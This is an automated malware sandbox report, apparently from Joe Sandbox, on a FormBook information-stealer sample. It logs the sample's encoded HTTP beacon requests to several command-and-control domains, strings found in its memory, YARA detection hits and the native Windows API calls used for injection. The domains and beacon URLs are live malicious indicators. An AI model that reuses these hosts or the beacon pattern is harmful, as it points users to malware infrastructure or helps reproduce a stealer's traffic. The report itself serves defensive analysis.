Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=sTrQNZETbqohgMY0G3QDWOyfMZqAyHA57kuO1l/GbTBT7+5tNjLfMqbR0u4OJ3a+5b59BonIRA==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.joycasino-2020.clubConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=PL9u7p4v7hn5T83wCAG42BUGAPPNW4v8+s1TFKrmIVkrOUDjB/r4wvcv+gOAAG+Oa4qYtq3B7Q==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.marielivet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=LOco70LpFY5umcR4dQY6Ck5isx6bsPxuRuPfG/JQuVwPWdFiKckkP6tLRm3hZqsbjizE9R3VWg==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.firstcoastelope.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=lH+NNz2eaU5LSk/yemMXIWDwl3fMAuCKISb0DcDmH6anXfUVh7p155egYD4l1a4C4v8/cW+zhg==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.blueberry-intl.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.thaihuay88.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.website-bazar.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4HvmT9bEqgnu31MbrCbNdKakV5eJA==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.sherylabrahamphotography.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 192.0.78.24 192.0.78.24

Source: Joe Sandbox View	ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL
Source: Joe Sandbox View	ASN Name: AUTOMATTICUS AUTOMATTICUS

Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=FLq1m09lMNVeUGxb2EGlpEcYOBglVjP6VclDGdRBVwR1mwk4Bp+oxJyzVgRWjmk7leVMWGvpeQ==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.cinmax.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=ciPSY9IHIiBMUeM+AHa6rnkVhX0NcoOlsc17DR+fEw9UxF+XyC1njkrt1st9cFa0q3XsiD0AOg==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.genialnetero.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=sTrQNZETbqohgMY0G3QDWOyfMZqAyHA57kuO1l/GbTBT7+5tNjLfMqbR0u4OJ3a+5b59BonIRA==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.joycasino-2020.clubConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=PL9u7p4v7hn5T83wCAG42BUGAPPNW4v8+s1TFKrmIVkrOUDjB/r4wvcv+gOAAG+Oa4qYtq3B7Q==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.marielivet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=LOco70LpFY5umcR4dQY6Ck5isx6bsPxuRuPfG/JQuVwPWdFiKckkP6tLRm3hZqsbjizE9R3VWg==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.firstcoastelope.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=lH+NNz2eaU5LSk/yemMXIWDwl3fMAuCKISb0DcDmH6anXfUVh7p155egYD4l1a4C4v8/cW+zhg==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.blueberry-intl.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.thaihuay88.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.website-bazar.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4HvmT9bEqgnu31MbrCbNdKakV5eJA==&Yn=ybdHh8KP02GTtb HTTP/1.1Host: www.sherylabrahamphotography.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.cinmax.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 May 2021 12:07:24 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 328Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 38 36 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /o86d/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000007.00000000.272184398.0000000006840000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230294482.0000000005BC1000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comde
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 08917506_by_Libranalysis.exe	String found in binary or memory: http://www.churchsw.org/church-projector-project
Source: 08917506_by_Libranalysis.exe	String found in binary or memory: http://www.churchsw.org/repository/Bibles/
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253501338.0000000005BB0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comaa
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253501338.0000000005BB0000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comceco
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.229924216.0000000005BC8000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.249681781.0000000001AA7000.00000004.00000040.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmp
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230603893.0000000005BB9000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/2
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/;
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/H
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230603893.0000000005BB9000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/M
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/W
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0r:
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/_
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/a
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230826809.0000000005BB6000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/)
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/2
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/M
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/p
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/s
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230701926.0000000005BB8000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/x
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230287588.0000000005BCB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comic
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230287588.0000000005BCB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comlic
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.253782761.0000000005EF0000.00000002.00000001.sdmp, explorer.exe, 00000007.00000000.278615680.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 08917506_by_Libranalysis.exe, 00000000.00000003.230081674.0000000005BC4000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cna
Source: 08917506_by_Libranalysis.exe, 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: ipconfig.exe, 0000000F.00000002.499188275.0000000003712000.00000004.00000001.sdmp	String found in binary or memory: https://www.sherylabrahamphotography.com/o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4
Source: ipconfig.exe, 0000000F.00000002.499188275.0000000003712000.00000004.00000001.sdmp	String found in binary or memory: https://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A4DE2 NtQuerySystemInformation,	0_2_058A4DE2
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 0_2_058A4DA8 NtQuerySystemInformation,	0_2_058A4DA8
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_004181B0 NtCreateFile,	5_2_004181B0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00418260 NtReadFile,	5_2_00418260
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_004182E0 NtClose,	5_2_004182E0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_00418390 NtAllocateVirtualMemory,	5_2_00418390
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_004181AA NtCreateFile,	5_2_004181AA
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_0041825A NtReadFile,	5_2_0041825A
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_015B9910
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B99A0 NtCreateSection,LdrInitializeThunk,	5_2_015B99A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9840 NtDelayExecution,LdrInitializeThunk,	5_2_015B9840
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9860 NtQuerySystemInformation,LdrInitializeThunk,	5_2_015B9860
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B98F0 NtReadVirtualMemory,LdrInitializeThunk,	5_2_015B98F0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9A50 NtCreateFile,LdrInitializeThunk,	5_2_015B9A50
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9A00 NtProtectVirtualMemory,LdrInitializeThunk,	5_2_015B9A00
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9A20 NtResumeThread,LdrInitializeThunk,	5_2_015B9A20
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9540 NtReadFile,LdrInitializeThunk,	5_2_015B9540
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B95D0 NtClose,LdrInitializeThunk,	5_2_015B95D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9710 NtQueryInformationToken,LdrInitializeThunk,	5_2_015B9710
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9FE0 NtCreateMutant,LdrInitializeThunk,	5_2_015B9FE0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9780 NtMapViewOfSection,LdrInitializeThunk,	5_2_015B9780
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B97A0 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_015B97A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9660 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_015B9660
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B96E0 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_015B96E0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9950 NtQueueApcThread,	5_2_015B9950
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B99D0 NtCreateProcessEx,	5_2_015B99D0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015BB040 NtSuspendThread,	5_2_015BB040
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9820 NtEnumerateKey,	5_2_015B9820
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B98A0 NtWriteVirtualMemory,	5_2_015B98A0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9B00 NtSetValueKey,	5_2_015B9B00
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015BA3B0 NtGetContextThread,	5_2_015BA3B0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9A10 NtQuerySection,	5_2_015B9A10
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9A80 NtOpenDirectoryObject,	5_2_015B9A80
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9560 NtWriteFile,	5_2_015B9560
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015BAD30 NtSetContextThread,	5_2_015BAD30
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9520 NtWaitForSingleObject,	5_2_015B9520
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B95F0 NtQueryInformationFile,	5_2_015B95F0
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015BA770 NtOpenThread,	5_2_015BA770
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9770 NtSetInformationFile,	5_2_015B9770
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9760 NtOpenProcess,	5_2_015B9760
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015BA710 NtOpenProcessToken,	5_2_015BA710
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9730 NtQueryVirtualMemory,	5_2_015B9730
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9650 NtQueryValueKey,	5_2_015B9650
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9670 NtQueryInformationProcess,	5_2_015B9670
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B9610 NtEnumerateValueKey,	5_2_015B9610
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Code function: 5_2_015B96D0 NtCreateKey,	5_2_015B96D0
